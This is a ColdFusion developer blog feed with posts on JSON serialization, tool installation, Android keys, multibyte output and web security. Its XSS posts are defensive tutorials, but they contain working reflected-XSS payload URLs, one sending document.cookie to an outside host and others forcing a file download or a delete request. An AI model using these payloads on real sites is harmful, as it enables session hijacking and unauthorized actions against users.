ColdFusion Tips

ColdFusion UDF ( JSONUtil ) for serialize complex Objects without changing data formatting

noreply@blogger.com (Unknown) — Thu, 27 Aug 2015 10:49:00 +0000

ColdFusion has built-in function SerializeJSON for serialize a complex object into JSON but many times our data gets converted into some different format. Example:

- if a number is greater than certain limit then it will convert it into exponent format.
- if the data type is date then it converted to some type but in UI side we want something different.
- Sometimes decimal fields also gets converted to some other formatting.

So, in-order to avoid any reformatting of data at client side. I wrote a ColdFusion function which will perform the conversion (CF Object -> JSON). I'm already using this in one of my project and it works fine without any problem. Hope it may help you if you're looking something like this.

Points to Remember:
- You can modify the code if you need certain type of formatting for date or number data type.
- For serializing ColdFusion components make sure the fields present as the properties of that component.

If you have any feedback for this I'm happy to listen it. Below is the code:

Difference of COUNT(*) between Query of Query(QoQ) and normal SQL Query

noreply@blogger.com (Unknown) — Mon, 10 Nov 2014 16:49:00 +0000

Before explaining the exact situation let me show you some code which we come across most of the time in our daily work life.

In above code here I'm displaying:

Total artists records.
COUNT of total no of artists by a condition which will return 0 record.
COUNT of total no of artists by a condition on Query of Query which also returns 0 record.

Lets see the output:

Here by first dump we get total no of records and in 2nd dump we are getting 1 record with ArtistCount column and value is 0, as the condition of the query doesn't matches any record. The 3rd dump where we again calculates the artist count but by Query of Query we get 0 no of rows.

I have tested the same thing in Oracle, SQL server and this built-in database with ColdFusion Admin application, all these databases returns 1 row when we evaluate COUNT(*) and the value of that field varies as per the total no records. i,e - it may be 0 or more than that.

But, if we consider the same situation by ColdFusion Query of Query then it returns 0 record for record count field if there is no matching record and returns record count if it is more than 0.

Conclusion:
Here I'm not trying to explain if it is an issue with QoQ. And I'm not sure if it would be correct to compare ColdFusion Query of Query with a database but we should remember this thing as in most of the time while evaluating COUNT(*) we use the field name and if we do the same for Query of Query then there might be situation where your code will fail.

Happy Coding! :)

_48a is undefined datefield in coldfusion

noreply@blogger.com (Unknown) — Sat, 24 May 2014 11:37:00 +0000

I was using ColdFusion calender control inside cfform and always I was getting error "_48a is undefined" in cfcalender.js. After doing a lot of searching and some R&D finally I got the solution for this issue.

The issue was due to the wrong formatting of HTML code, lets see what was that in my case:

<table>
<cfform>
<tr>...</tr>
</cfform>
</table>

When I was putting cfform outside of td but inside of table then it was throwing error. So, what is the solution???

Solution: Put cfform tag either outside of table or inside of td.

But, in some cases it may not solve your problem, at that time you can take care following points:

Make sure your HTML formatting is correct. Example: There should not be start cfform tag inside <p> and end cfform tag outside of <p>.
Make sure there is no duplicate ID or name for a form and form elements inside the page.
Put the following meta tag in the header of the page: <meta http-equiv="X-UA-Compatible" content="IE=8" />. (This is optional)

Setting PhoneGap server in your CF Builder and Creating a Sample Mobile Application

noreply@blogger.com (Unknown) — Thu, 27 Mar 2014 09:14:00 +0000

In my previous posts we have learned how to install Splendor Beta and install Thunder Beta and the creating Cert key for Android application development.

So, now we will see how we'll set up the key in Thunder (ColdFusion Builder) and how we'll create a sample mobile application.

Create one account in Phone Gap Server. ( https://build.phonegap.com/ )
Go to Windows -> Preferences -> ColdFusion -> PhoneGap. You will see a screen like below:

Server URI: URL of the PhoneGap server, use what I have wrote in the screenshot.

Email Address: Email address which you have registered during account creation.

Password: PhoneGap account password.

I mainly concentrated on android build only, so we only have to provide Android key details.

.keystore file: Browse the key store file which you have created.

Title: Title you have provided during key creation

Alias: Alias name you have provided during key creation

Key Password: Key Password you have provided during key creation

Keystore Password: Keystore Password you have provided during key creation

Then click on Apply and Ok. We added our android key and setup the builder to generate android build.

Go to File -> New -> ColdFusion Mobile Project. Then you will see a new screen like below:

This window is for template selection, we are going to create a simple application so select blank template and click on Next. Then one new window will come like below:

Provide the Project name and the location(Web Root) where this project will be created. Click on Next and you will get another screen.

In this window we will select server where our application will be linked, it will take default one but if you have more than one server configured in Thunder then you can select the server which you want. Then click on finish.

Up to now we have created a project in ColdFusion Builder.

Now, go to following URL http://ramkulkarni.com/temp/2014-02-25/ExpenseTracker_project.zip and download the zip file and extract all the files available there. Otherwise you can go to this URL: https://drive.google.com/file/d/0B2GDR5_Jv000c3hFT1RVWDBXTk0/edit?usp=sharing to download and extract the zip files.
Except setting files copy and paste all other code files in your Mobile Project in Thunder and overwrite the files if it asks.

NOTE: Here my priority is to setup the mobile Application and create a build, so I'm using Ram Kulkarni's sample code. Ram is the developer who has developed this Mobile development feature in ColdFusion and it's better to refer his code. For more details you can visit his Blog: http://ramkulkarni.com/blog/creating-database-mobile-application-with-coldfusion-splendor/.

Right click on the ColdFusion Mobile Project and then Click on Generate PhoneGap Build.
Go to console of the ColdFusion Builder then you will see error messages for IOS build as we have not provide any key details for IOS and for android we will get a success message like below:

Go to PhoneGap Status tab and you will see the screen like below:

For iOS we got error and for Android there is a download link. It will take 2-3 mins or less for the download link to be visible so please wait for that. Now, click on download and give the path where to download and after few mins it will show a message that download completed.

So, if you will go that location you will see a .APK file. Move that file to your android device and now you install and run the application.

This post is for the first step towards mobile development. You can refer other materials for advance concept.

Adding a CF Server into your CF Builder

noreply@blogger.com (Unknown) — Thu, 20 Mar 2014 19:14:00 +0000

I know this is a very old topic to write but many times I gets questions from our junior engineers regarding this and they makes some common mistakes while doing this. So, I'm going to share this:

Here, I am using ColdFusion Splendor Beta as my CF Server and ColdFusion Thunder Beta as the Builder.

Steps:
Open your CF builder and see the add server button present at the bottom panel of your builder as shown below. Sometimes this panel minimized with side bar please check it out.

Click on that Add Server button then it will open a new window like below:

Here in this window there are so many options but we will only consider options which are required for setting a local server.

Server Name: Any name to identify your server.
Description: Description for your server.
Application Server: Inbuilt server on which ColdFusion runs, form CF10 ColdFusion is integrated with Tomcat. So, for ColdFusion Splendor it's also Tomcat.
Host Name: Here you can provide any IP address or the host name.
Web Server Port: Port on which ColdFusion server is installed, best way to find is the port no used while accessing CF Admin Web Application in URL.

JEE Settings are not required for us.

In Other settings provide RDS user name and RDS password which you have set during ColdFusion server installation. Then Click on NEXT, you will see a new window like below:

Server Home: Browse and give your CF installation path and it will automatically take Document Root, select your ColdFusion server version then check the check box for "Use Windows Service to start/stop the server".

Click on Next, you will see a new window like below:

You don't need to change anything in this screen and click on finish and this window will be closed and you can see the server information which will be added in the bottom panel of the CF builder as shown in below image.

Here you can see the application server added into CF Builder and the status is Running. So, from here we can manage our CF server like: starting server, stopping server, search for data source present in that server and view tables in that data source..and many other things.

Hope it will save your time.

Generate Android Key using Command Line

noreply@blogger.com (Unknown) — Wed, 19 Mar 2014 13:25:00 +0000

We need Android Key while developing an Android application. Sometimes we need to set in our editor in-order to generate an android build. So, how we can generate an Android Key?

There are many ways to generate Android Key like, by using Eclipse tool and by using command line. Here we will discuss how we can generate an Android key using command line.

System Requirements: Install latest JDK in your system.

Open command line by "Run as Administrator" option.
Go to bin folder of JDK installation, for me it's "C:\Program Files\Java\jdk1.6.0_35\bin", for you it may be different path.
Then type the following command:

keytool -genkey -v -keystore expensetracker.keystore -alias expensetracker -keyalg RSA -keysize 2048 -validity 10000

Here, expensetracker.keystore is the key store name and expensetracker in blue colored is the alias name.

Below is the screen shot:

Then you have to enter keystore password in the command prompt as shown below:

You can provide any key with minimum 6 length and just a note whenever you will type your password you can't see it typing in command prompt. Then it will ask other information like first name, last name, Organization Unit.., you ca provide any value as per your wish as shown below:

Then it will ask to confirm your information, type "yes" and press "Enter". Then it will ask for entering Key password, you can keep key password same as keystore or you can give a different password it's your choice then you will see a success message in the command line "Storing expensetracker.keystore" as below:

So, your key is generated and it's present in the bin folder. Go to the bin folder of the JDK and search there with file name "expensetracker.keystore". If you have provided a different keystore name then you have to search using that name. Here you will get the keystore as shown below:

We got the keystore file and can use anywhere for Android App development.

Installation of ColdFusion Builder (CF THUNDER Beta)

noreply@blogger.com (Unknown) — Wed, 19 Mar 2014 11:43:00 +0000

Installation of ColdFusion Builder (CF THUNDER):

To download ColdFusion Thunder go to the URL "http://labs.adobe.com/technologies/coldfusion/" and login with your Adobe ID. Here are the following steps which clearly explains the installation procedure of CF Thunder

Step 1: Double click on the downloaded file, immediately a dialog box appears starting the installation process

Step 2: Click on “Next”

Step 3: Accept the license agreement and click on “Next”

Step 4: If you want to get the ColdFusion builder plugins within eclipse go for the second option, option 1 selects standard ColdFusion builder and click on “Next”

Step 5: A dialog box with default path set is shown .If you want you can set the path by selecting choose button and then click “Next”

Step 6: We can also install ColdFusion server along with thunder. As we have already have installed ColdFusion Splendor first so we will uncheck that. And select the second option to associate .cfm and .cfc files with CF Builder . If you select ColdFusion installation, here you have to set the ColdFusion Administrator password and RDS password. Otherwise ignore it.

Step 7: Once review the information and click install

Step 8: It shows a pop up like this

Step 9: If you see this screen, your installation process is successful

Step 10: After installation, if you receive any windows firewall messages click allow access

Step 11: Here you have to select the default work space and then click "Ok".

Step 12: ColdFusion builder is opened

Responsive Design Issues and it's Solution in Internet Explorer( IE )

noreply@blogger.com (Unknown) — Wed, 19 Mar 2014 07:58:00 +0000

If you have worked on making an existing site to responsive then you might have faced some problems related to browser compatibility. Recently I was working on making a site responsive and I faced few challenges and I'm going to describe those below:

My responsive design working perfectly in FF and Chrome but in any version of IE it's not working. So, what is the issue?

First go to the header of your HTML page and if you have DOCTTYPE declaration like below

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

then change it to "<!DOCTYPE html>" because this one supports HTML 5 standard and responsive design is a HTML 5 feature.

Search for meta tag "X-UA-Compatible"

In my case my project has this meta tag with value "IE=8". So, what does it mean?? It forces the browser to load the content with IE=8 compatible mode and IE=8 doesn't support responsive, so my responsive design was not working.

What is the solution for it?? Ans: Change that meta tag value to "IE=edge". This means it sets the browser to load in latest standard. For more details about it go through this: http://www.chromium.org/developers/how-tos/chrome-frame-getting-started

Now, my responsive design is working fine in FF, Chrome and IE9+ but what about IE8 and below version browsers?? Is there any work around for it?

Normally IE8 and below browser doesn't support responsive styles like media and all these things, to make it work in those browsers few JavaScript libraries are available and using that you can get that benefit. Following are the JavaScript libraries we can use to make it work:

- Respond

- css3-mediaqueries-js

ColdFusion Splendor Beta Installation Procedure

noreply@blogger.com (Unknown) — Wed, 19 Mar 2014 07:22:00 +0000

ColdFusion Splendor Beta Installation Procedure :

Open a Web browser and go to http://labs.adobe.com/technologies/coldfusion/ and login using your Adobe ID.
Download ColdFusion Project Splendor and ColdFusion Builder Project Thunder.
Save the file to your desktop.
Once downloaded ColdFusion Splendor and ColdFusion Builder Thunder, Double Click on ColdFusion Splendor.
Click "Next".

Accept the terms and conditions and click "Next".

In the Process of Installing the ColdFusion Splendor if it asks for Microsoft Visual C++ 2012 to install. Click "Ok" and repeat the Following Procedure.

When you see the screen below, select "Developer Edition" and click "Next".

Select Server configuration and click "Next".

Leave the "Enable Secure Profile" check box unchecked and click "Next". As it is a development and we don't want to enable secure profile so we left it unchecked but for production server you must check it.

Leave all check boxes checked and click "Next". These are the services provided by ColdFusion and if in production you don't need any of the services like ".NET Integration" or "Solr Service" then you can uncheck it but in developer edition you should check all as you may need any of them in future.

Leave the location at C:\ColdFusionSplendor\ and click "Next". If you want to install in a different location you can, but it is important to note that the install instructions will always reference C:\ColdFusionSplendor.

Select 'Enable the Built-in web server (coexist)' and click "Next".

Now the Adobe ColdFusion Splendor Beta built in web server will be configured to use port 8501. Port 8500 is already in use (ColdFusion 10)

Click "Next"

Provide a password and click "Next". Make sure you remember the password; you will need this later on in the install process.

Select 'Enable RDS', provide a password and click "Next". Make sure you remember the password!! In production make sure you disable RDS.

Leave the 'Automatically check for server updates' selected and click "Next".

Click "Install".

If you receive any Windows firewall messages, click 'Allow access'.

When the installation wizard is done, keep the 'Launch the Configuration Wizard in the default browser' selected and click "Done".

A browser window will open. Enter your ColdFusion Administrator Password and click "Login". (This is the password which we had set for CF Admin)

Click "Next"

Here it's asking to migrate settings of CF Admin of other CF server present in the machine. Ex: If in your machine you have CF10 and you want to migrate data source, schedule tasks and other server related settings to migrate to CF Splendor then click next. If you don't want to migrate any settings then click "skip".

Click "Next"

Click "Next"

Once you receive the 'Setup Complete' screen, click the "OK" button.

You will now see the ColdFusion Administrator screen.

To access this screen at a later date, you can go to: http://localhost:8501/CFIDE/administrator/index.cfm

You have now successfully installed ColdFusion Splendor. To access the web root, you can go to: http://localhost:8501/. The web root on the file system is C:\ColdFusionSplendor\cfusion\wwwroot\.

Reset ColdFusion Admin Password

noreply@blogger.com (Unknown) — Sun, 16 Feb 2014 08:55:00 +0000

Sometimes we forget our CF Admin password or due to some reason you are not able to login to your ColdFusion Admin, so how to reset your CF Admin password.

Before ColdFusion 10 there was no such tool to reset CF Admin password but in ColdFusion 10 Adobe provides a tool to reset the password. Lets see how can we reset...

As shown in the above image go to command prompt and then go to "{CF-ROOT}\cfusion\bin" and run "dir" then you can see list of files present in that directory. There is a file present called "passwordreset.bat" and run that file. You will see another screen as below:

For changing CF Admin password enter "1".
Follow the instructions to reset both CF Admin and RDS password then restart your CF server and you are done!!!

ColdFusion AntiSamy library integration for XSS attack protection

noreply@blogger.com (Unknown) — Sat, 21 Dec 2013 10:45:00 +0000

I have already described what is XSS attack and few examples of XSS attack and how we can protect our application from those attacks in below posts:

Now, let's see what are the other advance types of XSS attack can affect our application and how we will prevent those attack.

In general prevention method we are preventing rendering of any HTML code inputted by a user but if our application really wants user to input HTML text then how we will prevent it?

Example: In many applications we include Rich Text Editor(RTE) in our application and the final output of this RTE is nothing but html code and user who is having some wrong intention can easily attack your application.

We called this attack as "AntiSamy" attack, because Samy is the person who first discovered this attack. For more details about AntiSamy attack please go through this: OWASP AntiSamy Project

To prevent this attack OSWAP has released one library which will take your user input and clean the input to make it XSS safe string. This library is available in .NET and also in JAVA.

Let's implement the JAVA library in ColdFusion to prevent the attack.

You can download the full ColdFusion code with example in zip format from this link: Download ColdFusion Code.

This zip file contains following files:

- Application.cfc

- Application_CFC_for_CF9( Use this file as Application.cfc in case you are using ColdFusion 9 or lower version. Here we are using javaloader to load library which is not needed in CF10)

- index.cfm

- lib - This directory contains

antisamy-1.5.3.jar - AntiSamy java library

antisamy-slashdot-1.4.4.xml - AntiSamy filter settings file

- javaloader - This library used for loading java library for CF9 or lower version.

Let's review the code now:

In Application.cfc we are just loading java library using CF10 library loading method and creating an AntiSamy object on application start, so that we can use it through out the application by using that object.

Let's see index.cfm as below:

In index.cfm we are scanning the input by using the library and getting clean HTML and also error by anti samy scanning. See the output below:

So, here we are getting clean html along with error messages by AntiSamy scanning. You can also define your own AntiSamy rules by modifying antisamy-slashdot-1.4.4.xml. For reference you can see other web site setting files available in AntiSamy library home here.

Hope now you can integrate this library in your application!!!

Download AntiSamy from its home on Google Code

Download java loader from riaforge.

Examples Of XSS Attack

noreply@blogger.com (Unknown) — Fri, 20 Dec 2013 20:51:00 +0000

Let's start with some examples of XSS attack.

Here we have three files as listed below and put the three files in same folder and run "index.cfm" page:

Application.cfc
index.cfm -
comment.json - Stores the comment added in the post

Application.cfc:

Find index.cfm below:

and next comment.json where I have added a comment as "First comment" as below, this file is used as our comment storage.

First if you run index.cfm then you will see the output as follows:

As we can see here we have only one comment which was present initially in the JSON file. Let's add some comment for our testing.
Test 1:
Input: <script>alert('Hello Girls!')</script> and see the output below.

If you notice in dump section we are getting the text as "<InvalidTag>alert('Hello Girls!')</script>" and in comment output we are getting "alert('Hello Girls!')".
This is because, in Application.cfc we have added this.scriptprotect = "all"; which is converting the script to "InvalidTag" and helps from such basic XSS attack.

For your testing make this.scriptprotect = "none"; and enter the same comment again and see the output. This time you will see the alert message instead of any <InvalidTag> as the comment.

Test 2:
Input: <body onload="alert('Hi');">XSS Body</body> and in output first you will get an alert message which will display "Hi" and after clicking OK, in comment section you will find your text "XSS Body".
Every time you load the page you will see the same result. So, how to protect here to your site???
Ans: Use appropriate display formatting function while displaying the comment as below:

For CF9:
<cfloop array="#commentObj['blogcomment']#" index="comment">
<li>#HtmlEditFormat(comment)#</li>
</cfloop>
For CF10:
<cfloop array="#commentObj['blogcomment']#" index="comment">
<li>#EncodeForHTML(comment)#</li>
</cfloop>

In both the cases we will never get any alert message and output comment would be:
"<body onload="alert('Hi');">XSS Body</body>"

If you want to avoid storing this malicious HTML in your storage then before string the comment just use the display formatting function:
<cfset arrayAppend(commentObj['blogcomment'], HtmlEditFormat(form.blogCommentText))>
Or
<cfset arrayAppend(commentObj['blogcomment'], EncodeForHTML(form.blogCommentText))>

After using this function before storing into database, don't need to use any display formatting function while displaying the comment anymore as it is already converted into XSS safe string.

The entered text could be in encoded format visit the URL for detail encoded malicious script : https://www.owasp.org/index.php/Double_Encoding

In that case use the function "sanitizeScope" which is described in http://coldfusion-tip.blogspot.in/2013/12/coldfusion-application-security.html would come handy. Inside "onRequestStart" you can call: sanitizeScope( form ) or you can call that function in any particular page wherever you want to use.

Hope you enjoyed the examples!!!

NOTE: All the examples tested in FireFox 26.0 and it may vary in different browsers and in different ColdFusion version as browsers are also taking XSS attack measure and in CF versions also Adobe making CF more in each release.

ColdFusion Application Security

noreply@blogger.com (Unknown) — Wed, 18 Dec 2013 18:18:00 +0000

Web Security one most favorite topic of mine. Though I’m not an expert in Web Security, I thought to share my idea which I learned, so that it will help someone who starts with this topic.

NOTE: You can take this article as a beginner guide to Web Security and carry on your journey to explore more on this field.

Following are the most common security vulnerability we generally face for our web application.

XSS Attack.
SQL Injection.
CSRF Attack.
File Uploading.
Session Hijacking.
Password Protection.

Out of the above listed security vulnerability; XSS attack has a huge share of 84%. So, let’s start with XSS attack.

XSS (Cross Site Scripting) Attack

In this type of attack the attacker inject some client side script into Web pages of the application. Sometimes the malicious script stored permanently in database or in some storage and sometimes it passed in form submit or in url query string to deface the website.

This XSS Attack is divided into two types:

Non - Persistent XSS Attack.
Persistent XSS Attack.

Non - Persistent XSS Attack:

In this type of attack the script is not going to be stored somewhere but the attacker passes the malicious script by URL or FROM submits to deface the website.

Question arises, attacker may see some error message if he/she will pass that script how it's going to affect real user or the application?

Suppose attacker able to pass the wrong URL to provide the wrong URL to user in email or by any other medium and a user clicks on that wrong url then the user may face following problem.

Let say we have a page called index.cfm and have following code:

<cfoutput>#url.name#</cfoutput>. Means it only displays the "name" parameter value which we pass in url scope.

All the below examples are tested in Firefox 26.0 browser.

Attacker can get the session cookie of user and can take access of his login.

Example: http://localhost:8500/xsstesting/index.cfm?name=<body onload="alert('Hi');document.location='http://www.google.com?cookie=' %2B document.cookie"></body>

Attacker can able to download some executable file into the user’s computer.

Example: http://localhost:8500/xsstesting/index.cfm?name=<body onload="document.location='https://docs.google.com/uc?export=download%26id=0B2GDR5_Jv000OW9pSEZhaGZhQ1k'"></body>

Here I am downloading one of my zip file so don't worry for now :)

Attacker can delete any resource from that user account.

Example: http://localhost:8500/xsstesting/index.cfm?name=<body onload="alert('Hi');document.location='http://localhost:8500/xsstesting/deleteResource.cfm'"></body>

Suppose there is a page called "deleteResource.cfm" which will delete a particular resource then attacker can delete that resource.

Similarly we can create similar kind of attack while submitting a form.

Let’s see how we can protect our self from such kind of attack.

1. Use the following setting in Application.cfc

this.scriptprotect = "all";

This will save us from basic XSS attack like. If someone wants to directly execute a script tag like: http://localhost:8500/xsstesting/index.cfm?name=<script type="text/javascript">alert('Hello');</script> then you will see in output as:

<InvalidTag type="text/javascript">alert('Hello');</script>

So, the script will never execute in browser but it cannot protect script like we passed in body tag or any anchor tag. When we enables script protect in Application.cfc then ColdFusion parses variables of a particular scope and if it finds any which may cause XSS threat it replaces that tag by “Invalid”. What are the script tags are protected by ColdFusion server you can find from:

\{CF-Directory}\cfusion\lib\neo-security.xml and search for CrossSiteScriptPatterns. If you want to add any additional tags there for protecting then you can also add there and you have to restart CF server after making the changes.

2. Use some secure data formatting function while displaying the data to user like below.

<cfoutput>#htmlEditFormat(url.name)#</cfoutput>

What are the other secure data formatting functions available?

Version	Context Of Use	Function	Example
CF 9	HTML Body	HTMLEditFormat	<cfoutput>#HTMLEditFormat(url.name)#</cfoutput>
CF9	URL String	URLEncodedFormat	<a href="./dispUserList?name=#URLEncodedFormat(url.name)#">User List</a>
CF10	HTML Body	EncodeForHTML	<cfoutput>#EncodeForHTML(url.name)#</cfoutput>
CF10	HTML Attribute	EncodeForHTMLAttribute	<div class="#EncodeForHTMLAttribute(url.name)#">...</div>
CF10	JavaScript	EncodeForJavascript	<script>var name = "#EncodeForJavascript(url.name)#";</script>
CF10	CSS	EncodeForCSS	<style>body{background-color:#encodeForCSS(url.color)#;}</style>
CF10	URL	EncodeForURL	<a href="./dispUserList?name=#EncodeForURL(url.name)#">User List</a>

We have already applied some security measure. So, you think you are safe now. N0!!!

Why? Here in the above example in most of the cases we have passed the script as plain text, so the different secure displaying functions are able to convert that string into a display safe string and displaying it. If someone passes the string in different encoding format available which supports by most of the browsers.

Example:

There are many ways where we can represent our string if we are using UTF-8 encoding in our web page.

Let say in how many ways I can represent a string : "<script>"

Similarly we can replace all "script" by hex code and also we can use other encoding to form the string. So, our display formatting function will not be able to detect all these.

Question comes, what we will do now?

First decode the variable which we are getting by some user input and decode that to plain text format. Then pass that to display formatting function. See the below example.

I have added new function called "sanitizeScope" in Application.cfc. It will decode all variables in a particular scope if you pass that scope as a argument to that function. So, in onRequestStart() method I’m calling that function to decode all variables in URL scope and I can use the display formatting function safely in my browser.

In the above example I have used a new function "canonicalize", which is added in ColdFusion 10 and is used for decoding a string.

Till now we have covered basic non-persistent scope XSS attack and how to avoid it. Hope you have enjoyed it!!!

Persistent XSS Attack

In previous section we just learned, what is non – persistent XSS attack and how we can restrict it. Now, let’s starts with Persistent XSS Attack. This type of attack is most dangerous for a application as it will affect the application until and unless the malicious script is removed.

Persistent XSS Attack means the malicious script permanently stored in our application. Let say in one blog post some attacker has added malicious script in comment; when the blog post will be loaded then it will load that script and attacker can able to perform whatever he wants to do with your application.

Find the example here: http://coldfusion-tip.blogspot.in/2013/12/examples-of-xss-attack.html

How we can prevent such attack?

Use the method “sanitizeScope” which I just described in previous section ( or you can directly use “canonicalize” for deciding any inputs entered by user) then apply display formatting methods available in different versions of ColdFusion while displaying user inputs or while storing user inputs in database.

You can apply this process before saving the data into database, so that each time you don’t have to use display formatting function while displaying the data. But, sometimes developers prefer not to change any user input while saving in database but to format the data while displaying to user. It depends on personal preference.

We have covered all basic XSS attack prevention methods available in ColdFusion. In next of XSS attack we will see some advance concept.

Display login screen in browser when session time out for a user using Web Socket

noreply@blogger.com (Unknown) — Thu, 12 Dec 2013 09:35:00 +0000

If you will notice the ColdFusion Administrator of CF10 then you can find that in some intervals of time it keeps refreshing. Though I am not sure why it is refreshing but I believe that refresh option is added just to take user to login screen when session time out occurs.

Let say you are using some chatting application and you have opened different chat window in different tabs and you logout from the application and you forgot to close other chat window tabs. The other chat tab which is opened may have some sensitive/private information which others can view. So, ideally we should view the login screen in all tabs once a user manually logs out or when the session timeout occurs.

We can show user login screen in all tabs when session timeout occurs/logs out by the user by using one of the following ways.

Keeps refreshing our page in some intervals of time and when session times out then you will automatically redirect to login screen. But this may create issues like content reload unnecessarily.
Keep making AJAX call to server to verify login status in some intervals of time and reload the page whenever required. This is correct upto some extent okay but we have to make AJAX call in some intervals of time, i,e - some extra burden.
Use Web Socket to achieve the functionality without refreshing the screen in some intervals of time.

For #1 and #2 time interval will be more than the session timeout time.

I think #1 and #2 is not the optimized way of do that. So, lets see how we can achieve that using ColdFusion Web Socket and I think this is one of the best method to achieve this.

Before I move ahead please download the application here.(Login Tracking By WebSocket.)

***NOTE: Attached code will work only in ColdFusion 10

Create a Web application in your computer using the above code and use any email ID and Nick name to login into the Application.

Code Description:
Code contains inline comments and I am describing the whole logic below.

How Does the Code Works:

We have defined a channel "Logout" in Application.cfc. Using this channel we can create no of sub channel of it in our application.

Logout.onLineUser - This channel no of currently online users in this application.
Logout.{email ID Login User} - This channel identifies whether a user is log in or log out from the system.

Step 1: (Login Page and Login Process)

- Display Login Screen to user if the user is not log in into the system.
- Take email ID and nick name to allow user to log in into the system and save the email ID in Application scope,
a) so that other user can able to see online users of the Application at any time
b) Make email validation, i.e :- Multiple login of same email ID is blocked at a time.
- Publish the online users into "Logout.onLineUser" channel.
- Redirect to index.cfm page.

Step 2:(index.cfm page and Display Online User)

- Load all online users from "Application.userInfo" variable.
- Initiate two channels: 1. Logout.onLineUser 2. Logout.{email ID} (Here we are removing "." and "@" from the email ID while creating sub channel)
- onLineResponseHandler : - In online user handler we will write the logic, if we are receiving data from user then display all the online user information received in UI.
- logoutResponseHandler: - In this response handler we will receive data if the user logout from the system. So, reload the page. As the session is undefined it will take you to the login screen.

Step 3:( Log out Functionality)

- In index.cfm we have added a logout link. If you click on that link then it will take you to logout.cfm and then it calls logoutUser method present in Utility.cfc.
- logoutUser() we are taking two parameter.
1. Application scope.
2. Login Info Structure from Session scope.

- We are deleting the user information from "Application.userInfo".
- We are clrearing the Session Scope and publishing login status of the user to
- Publish all available user information to "Logout.onLineUser" channel. So that all active users can see the online status at that instant.
- Publish login status of the currently logout user to channel "Logout.{email ID}" and in JS code after getting the status the page will be reloaded, as the session is already cleared then it will redirect to login page.

Step 4: Auto Log out by Session timeout

- When session time out wil happen then we are calling "logoutUser()" from onSessionEnd().
- In logoutUser() method we are just deleting the user information from Application.userInfo and publishing the logut status to reload the browser if that is opened.

Hope you have enjoyed!!!

Displaying multibyte characters or returning multibyte characters by AJAX call in ColdFusion

noreply@blogger.com (Unknown) — Wed, 27 Nov 2013 11:16:00 +0000

Sometimes we need to display a multibyte characters like Japanese or Chinese in our application or we have to build a application which can be converted into Japanese, Chinese or to some other non-English language.

If we are going to show any non-English language directly in our ColdFusion code then we will get some corrupted text.
Example: In below code I am simply trying to show a Japanese sentence.

<cfset x = "ユーザー名および/またはパスワードが正しくありません。もう一度やり直してください。" />
<cfoutput>#x#</cfoutput>

When I run above code I got following output in my browser.

Our browser is not displaying any Japanese character which we wants to display instead it's showing some other characters. How to display that?

It's very simple, just add "<cfprocessingdirective pageencoding="UTF-8">" at the start of the page like below:

<cfprocessingdirective pageencoding="UTF-8">
<cfset x = "ユーザー名および/またはパスワードが正しくありません。もう一度やり直してください。" />
<cfoutput>#x#</cfoutput>

When I run the code I got following output.

So, I am getting the desired output by using "cfprocessingdirective". It's always advisable to put this tag in onRequest method of Application.cfc in our application so that we don't have to place it in all cfm pages of our application.

Our cfm page now able to display multibyte characters in browser. What about AJAX calls? What will happen when we will make an AJAX call to a ColdFusion component which returns some multibyte characters?

Let's explore...
Here is my "testchar.cfm" code:

<!DOCTYPE HTML>
<html>
    <head>
        <script type="text/javascript" src="http://code.jquery.com/jquery-1.10.2.min.js"></script>
        <script>
        $(document).ready(function() {

            //Making AJAX call to function returnChar present in component testchar.cfc which returns
            //the same Japanese string.
            $("#reloadC").click(function() {
                $.ajax({
                    type: "post",
                    url: './testChar.cfc?method=returnChar',
                    success: function(data) {
                        $('#multi-char').html(data);
                    },
                    dataType: 'json'
                });
            });
        });
        </script>
    </head>
    <body>
        <h3>Display Multibyte Character</h3><hr/>
        <p>Press Refresh button to get multibyte characters from AJAX call</p>

        <!--- Press refresh button to get multibyte characters from AJAX call --->
        <input type="button" name="reloadC" id="reloadC" value="Refresh" />
        <div id="multi-char" style="width:500px"></div>
    </body>
</html>

Here is our "testchar.cfc" code:

<cfcomponent output="true">
    <cffunction name="returnChar" access="remote" returnformat="JSON">
        <cfset x = "ユーザー名および/またはパスワードが正しくありません。もう一度やり直してください。" />
        <cfreturn x />
    </cffunction>
</cfcomponent>

When I runs the testChar.cfm page and clicks the refresh button I gets following output.

So, again I am getting unwanted result. So, how to solve in ColdFusion component?
Here we have to place "cfprocessingdirective" tag after cfcomponent tag and before starting of any function like below.

<cfcomponent output="true">
<cfprocessingdirective pageEncoding = "UTF-8" suppressWhiteSpace = "yes">
    <cffunction name="returnChar" access="remote" returnformat="JSON">
        <cfset x = "ユーザー名および/またはパスワードが正しくありません。もう一度やり直してください。" />
        <cfreturn x />
    </cffunction>
</cfprocessingdirective>
</cfcomponent>

No change is required in the "testChar.cfm" page.

When I runs the testChar.cfm again and clicks the refresh button then I gets following output.

Hope it may save your time!!!

Search Functionality in CFGRID

noreply@blogger.com (Unknown) — Thu, 14 Nov 2013 19:47:00 +0000

In my previous cfgrid posts we have covered following functionality of cfgrid:

1. Starting with CFGRID( part - 1 )
2. Starting with CFGRID( part - 2 )(Auto Refreshing CFGRID)
3. Export cfgrid Data or Table Data in Excel, Pdf and CSV Format(ColdFusion - 9)
4. Conditionally Change the Color Of a Cell Text In cfgrid

Today, we will see how we can implement searching functionality in cfgrid. Lets see our cfgrid.cfm code below:

Now, see the cfgrid.cfc:

All the above code is self explanatory. Hope it will help people who are new in ColdFusion and trying to learn about cfgrid.

Happy Coding!!! :)

Generate Report Using ColdFusion Report Template

noreply@blogger.com (Unknown) — Sun, 10 Nov 2013 19:11:00 +0000

In my following posts we learned up to creating a report template using ColdFusion report builder.

Now, it's time to use that report in our ColdFusion code.

Place the ".cfr" file in your project directory. See the following code to use the report template.

In the first section, I have written a SQL query for report then I am using the report template in cfreport tag to generate/display the report.

Here, if we will not use any query then it will display the report of the query which we had used during creating the report. If we are passing any query object to the cfreport tag then it will only consider the query object.

So, by using a customize queries we can generate multiple reports of the same type using ColdFusion reporting template. We can also pass parameter to a report. We will learn that in my future post.

Generated Report Screen Shot:

Creating a Tabular Report using ColdFusion Report Builder

noreply@blogger.com (Unknown) — Sun, 10 Nov 2013 19:09:00 +0000

In my previous two post we just learned how w just installed Report Builder and then connect Report Builder with our ColdFusion server.

If you want to see old posts please go from here #1(Report Builder installation) and #2(Set up Server in Report Builder)

So, now it’s time to go for a simple example of ColdFusion reporting using Report Builder. Please follow the steps to generate a tabular report and use that in ColdFusion code.

Click on File -> New in Report Builder, you will see a screen like below:

